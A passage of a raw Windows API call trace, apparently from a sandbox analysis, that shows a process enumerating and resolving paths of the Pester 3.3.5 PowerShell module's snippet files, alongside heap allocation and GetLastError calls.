ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.466] GetLastError () returned 0x12 [0231.467] GetCurrentThreadId () returned 0x9b0 [0231.467] GetLastError () returned 0x12 [0231.467] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d69, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldNotBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.467] GetLastError () returned 0x12 [0231.467] GetCurrentThreadId () returned 0x9b0 [0231.467] GetLastError () returned 0x12 [0231.467] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldNotContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.467] GetLastError () returned 0x12 [0231.467] GetCurrentThreadId () returned 0x9b0 [0231.467] GetLastError () returned 0x12 [0231.468] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldNotExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.468] GetLastError () returned 0x12 [0231.468] GetCurrentThreadId () returned 0x9b0 [0231.468] GetLastError () returned 0x12 [0231.468] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldNotMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.468] GetLastError () returned 0x12 [0231.468] GetCurrentThreadId () returned 0x9b0 [0231.468] GetLastError () returned 0x12 [0231.468] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldNotThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.468] GetLastError () returned 0x12 [0231.469] GetCurrentThreadId () returned 0x9b0 [0231.469] GetLastError () returned 0x12 [0231.469] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0231.469] GetLastError () returned 0x12 [0231.469] GetCurrentThreadId () returned 0x9b0 [0231.469] GetLastError () returned 0x12 [0231.469] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 0 [0231.469] GetLastError () returned 0x12 [0231.469] GetCurrentThreadId () returned 0x9b0 [0231.470] GetLastError () returned 0x12 [0231.470] GetLastError () returned 0x12 [0231.470] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0231.471] GetLastError () returned 0x12 [0231.471] GetLastError () returned 0x12 [0231.471] GetLastError () returned 0x12 [0231.471] GetLastError () returned 0x12 [0231.471] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0231.471] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\Context.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\context.snippets.ps1xml")) returned 0x20 [0231.472] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0231.472] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0231.472] GetCurrentThreadId () returned 0x9b0 [0231.472] GetLastError () returned 0x12 [0231.473] GetLastError () returned 0x12 [0231.473] GetLastError () returned 0x12 [0231.473] GetLastError () returned 0x12 [0231.473] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0231.473] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\Describe.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\describe.snippets.ps1xml")) returned 0x20 [0231.473] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0231.473] GetLastError () returned 0x12 [0231.474] GetLastError () returned 0x12 [0231.474] GetLastError () returned 0x12 [0231.474] GetLastError () returned 0x12 [0231.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0231.474] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\It.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\it.snippets.ps1xml")) returned 0x20 [0231.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0231.474] GetCurrentThreadId () returned 0x9b0 [0231.475] GetLastError () returned 0x12 [0231.475] GetLastError () returned 0x12 [0231.475] GetLastError () returned 0x12 [0231.475] GetLastError () returned 0x12 [0231.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0231.475] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBe.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldbe.snippets.ps1xml")) returned 0x20 [0231.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0231.476] GetLastError () returned 0x12 [0231.476] GetLastError () returned 0x12 [0231.476] GetLastError () returned 0x12 [0231.477] GetLastError () returned 0x12 [0231.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0231.477] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBeGreaterThan.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldbegreaterthan.snippets.ps1xml")) returned 0x20 [0231.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea1a8 | out: hHeap=0x2ad0000) returned 1 [0231.477] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881258, Size=0x20) returned 0x3733e90 [0231.477] GetCurrentThreadId () returned 0x9b0 [0231.477] GetLastError () returned 0x12 [0231.478] GetLastError () returned 0x12 [0231.478] GetLastError () returned 0x12 [0231.478] GetLastError () returned 0x12 [0231.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0231.478] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBeLessThan.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldbelessthan.snippets.ps1xml")) returned 0x20 [0231.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0231.478] GetLastError () returned 0x12 [0231.478] GetLastError () returned 0x12 [0231.479] GetLastError () returned 0x12 [0231.479] GetLastError () returned 0x12 [0231.479] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0231.479] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBeNullOrEmpty.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldbenullorempty.snippets.ps1xml")) returned 0x20 [0231.482] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea748 | out: hHeap=0x2ad0000) returned 1 [0231.482] GetCurrentThreadId () returned 0x9b0 [0231.482] GetLastError () returned 0x12 [0231.482] GetLastError () returned 0x12 [0231.482] GetLastError () returned 0x12 [0231.482] GetLastError () returned 0x12 [0231.483] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0231.483] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldContain.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldcontain.snippets.ps1xml")) returned 0x20 [0231.483] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0231.483] GetLastError () returned 0x12 [0231.483] GetLastError () returned 0x12 [0231.483] GetLastError () returned 0x12 [0231.483] GetLastError () returned 0x12 [0231.483] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0231.484] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldExist.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldexist.snippets.ps1xml")) returned 0x20 [0231.484] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0231.484] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3733e90, Size=0x40) returned 0x3887770 [0231.484] GetCurrentThreadId () returned 0x9b0 [0231.484] GetLastError () returned 0x12 [0231.484] GetLastError () returned 0x12 [0231.484] GetLastError () returned 0x12 [0231.485] GetLastError () returned 0x12 [0231.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0231.485] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldMatch.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldmatch.snippets.ps1xml")) returned 0x20 [0231.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0231.485] GetLastError () returned 0x12 [0231.485] GetLastError () returned 0x12 [0231.485] GetLastError () returned 0x12 [0231.485] GetLastError () returned 0x12 [0231.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0231.499] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotBe.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldnotbe.snippets.ps1xml")) returned 0x20 [0231.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0231.499] GetCurrentThreadId () returned 0x9b0 [0231.500] GetLastError () returned 0x12 [0231.500] GetLastError () returned 0x12 [0231.500] GetLastError () returned 0x12 [0231.500] GetLastError () returned 0x12 [0231.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0231.500] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotBeNullOrEmpty.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldnotbenullorempty.snippets.ps1xml")) returned 0x20 [0231.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea748 | out: hHeap=0x2ad0000) returned 1 [0231.501] GetCurrentThreadId () returned 0x9b0 [0231.501] GetLastError () returned 0x12 [0231.501] GetLastError () returned 0x12 [0231.501] GetLastError () returned 0x12 [0231.501] GetLastError () returned 0x12 [0231.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0231.501] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotContain.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldnotcontain.snippets.ps1xml")) returned 0x20 [0231.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0231.502] GetLastError () returned 0x12 [0231.502] GetLastError () returned 0x12 [0231.502] GetLastError () returned 0x12 [0231.502] GetLastError () returned 0x12 [0231.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0231.502] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotExist.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldnotexist.snippets.ps1xml")) returned 0x20 [0231.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0231.503] GetCurrentThreadId () returned 0x9b0 [0231.503] GetLastError () returned 0x12 [0231.503] GetLastError () returned 0x12 [0231.503] GetLastError () returned 0x12 [0231.503] GetLastError () returned 0x12 [0231.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0231.503] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotMatch.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldnotmatch.snippets.ps1xml")) returned 0x20 [0231.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0231.504] GetLastError () returned 0x12 [0231.504] GetLastError () returned 0x12 [0231.504] GetLastError () returned 0x12 [0231.504] GetLastError () returned 0x12 [0231.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0231.504] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldNotThrow.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldnotthrow.snippets.ps1xml")) returned 0x20 [0231.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0231.505] GetCurrentThreadId () returned 0x9b0 [0231.505] GetLastError () returned 0x12 [0231.505] GetLastError () returned 0x12 [0231.505] GetLastError () returned 0x12 [0231.505] GetLastError () returned 0x12 [0231.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0231.505] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldThrow.snippets.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets\\shouldthrow.snippets.ps1xml")) returned 0x20 [0231.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0231.506] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887770, Size=0x64) returned 0x2a19a48 [0231.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0231.506] GetLastError () returned 0x12 [0231.506] GetLastError () returned 0x12 [0231.506] GetLastError () returned 0x12 [0231.506] GetLastError () returned 0x12 [0231.506] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\Context.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\Context.snippets.ps1xml", lpFilePart=0x9bada4*="Context.snippets.ps1xml") returned 0x5e [0231.507] GetCurrentThreadId () returned 0x9b0 [0231.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0231.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0231.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0231.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0231.507] GetCurrentThreadId () returned 0x9b0 [0231.507] GetLastError () returned 0x12 [0231.507] GetLastError () returned 0x12 [0231.507] GetLastError () returned 0x12 [0231.508] GetLastError () returned 0x12 [0231.508] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\Describe.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\Describe.snippets.ps1xml", lpFilePart=0x9bada4*="Describe.snippets.ps1xml") returned 0x5f [0231.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.508] GetCurrentThreadId () returned 0x9b0 [0231.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0231.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0231.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0231.508] GetLastError () returned 0x12 [0231.509] GetLastError () returned 0x12 [0231.509] GetLastError () returned 0x12 [0231.509] GetLastError () returned 0x12 [0231.509] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\It.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\It.snippets.ps1xml", lpFilePart=0x9bada4*="It.snippets.ps1xml") returned 0x59 [0231.509] GetCurrentThreadId () returned 0x9b0 [0231.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0231.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0231.510] GetCurrentThreadId () returned 0x9b0 [0231.510] GetLastError () returned 0x12 [0231.510] GetLastError () returned 0x12 [0231.510] GetLastError () returned 0x12 [0231.510] GetLastError () returned 0x12 [0231.510] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBe.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBe.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldBe.snippets.ps1xml") returned 0x5f [0231.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0231.510] GetCurrentThreadId () returned 0x9b0 [0231.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0231.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0231.511] GetLastError () returned 0x12 [0231.511] GetLastError () returned 0x12 [0231.511] GetLastError () returned 0x12 [0231.511] GetLastError () returned 0x12 [0231.511] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBeGreaterThan.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBeGreaterThan.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldBeGreaterThan.snippets.ps1xml") returned 0x6a [0231.511] GetCurrentThreadId () returned 0x9b0 [0231.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0231.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0231.512] GetCurrentThreadId () returned 0x9b0 [0231.512] GetLastError () returned 0x12 [0231.512] GetLastError () returned 0x12 [0231.512] GetLastError () returned 0x12 [0231.512] GetLastError () returned 0x12 [0231.513] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBeLessThan.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBeLessThan.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldBeLessThan.snippets.ps1xml") returned 0x67 [0231.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.513] GetCurrentThreadId () returned 0x9b0 [0231.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0231.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0231.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0231.513] GetLastError () returned 0x12 [0231.513] GetLastError () returned 0x12 [0231.513] GetLastError () returned 0x12 [0231.514] GetLastError () returned 0x12 [0231.514] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBeNullOrEmpty.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldBeNullOrEmpty.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldBeNullOrEmpty.snippets.ps1xml") returned 0x6a [0231.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0231.514] GetCurrentThreadId () returned 0x9b0 [0231.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0231.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0231.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0231.514] GetCurrentThreadId () returned 0x9b0 [0231.514] GetLastError () returned 0x12 [0231.514] GetLastError () returned 0x12 [0231.515] GetLastError () returned 0x12 [0231.515] GetLastError () returned 0x12 [0231.515] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldContain.snippets.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\ShouldContain.snippets.ps1xml", lpFilePart=0x9bada4*="ShouldContain.snippets.ps1xml") returned 0x64 [0231.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0231.515] GetCurrentThreadId () returned 0x9b0 [0231.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0231.515] GetLastError () 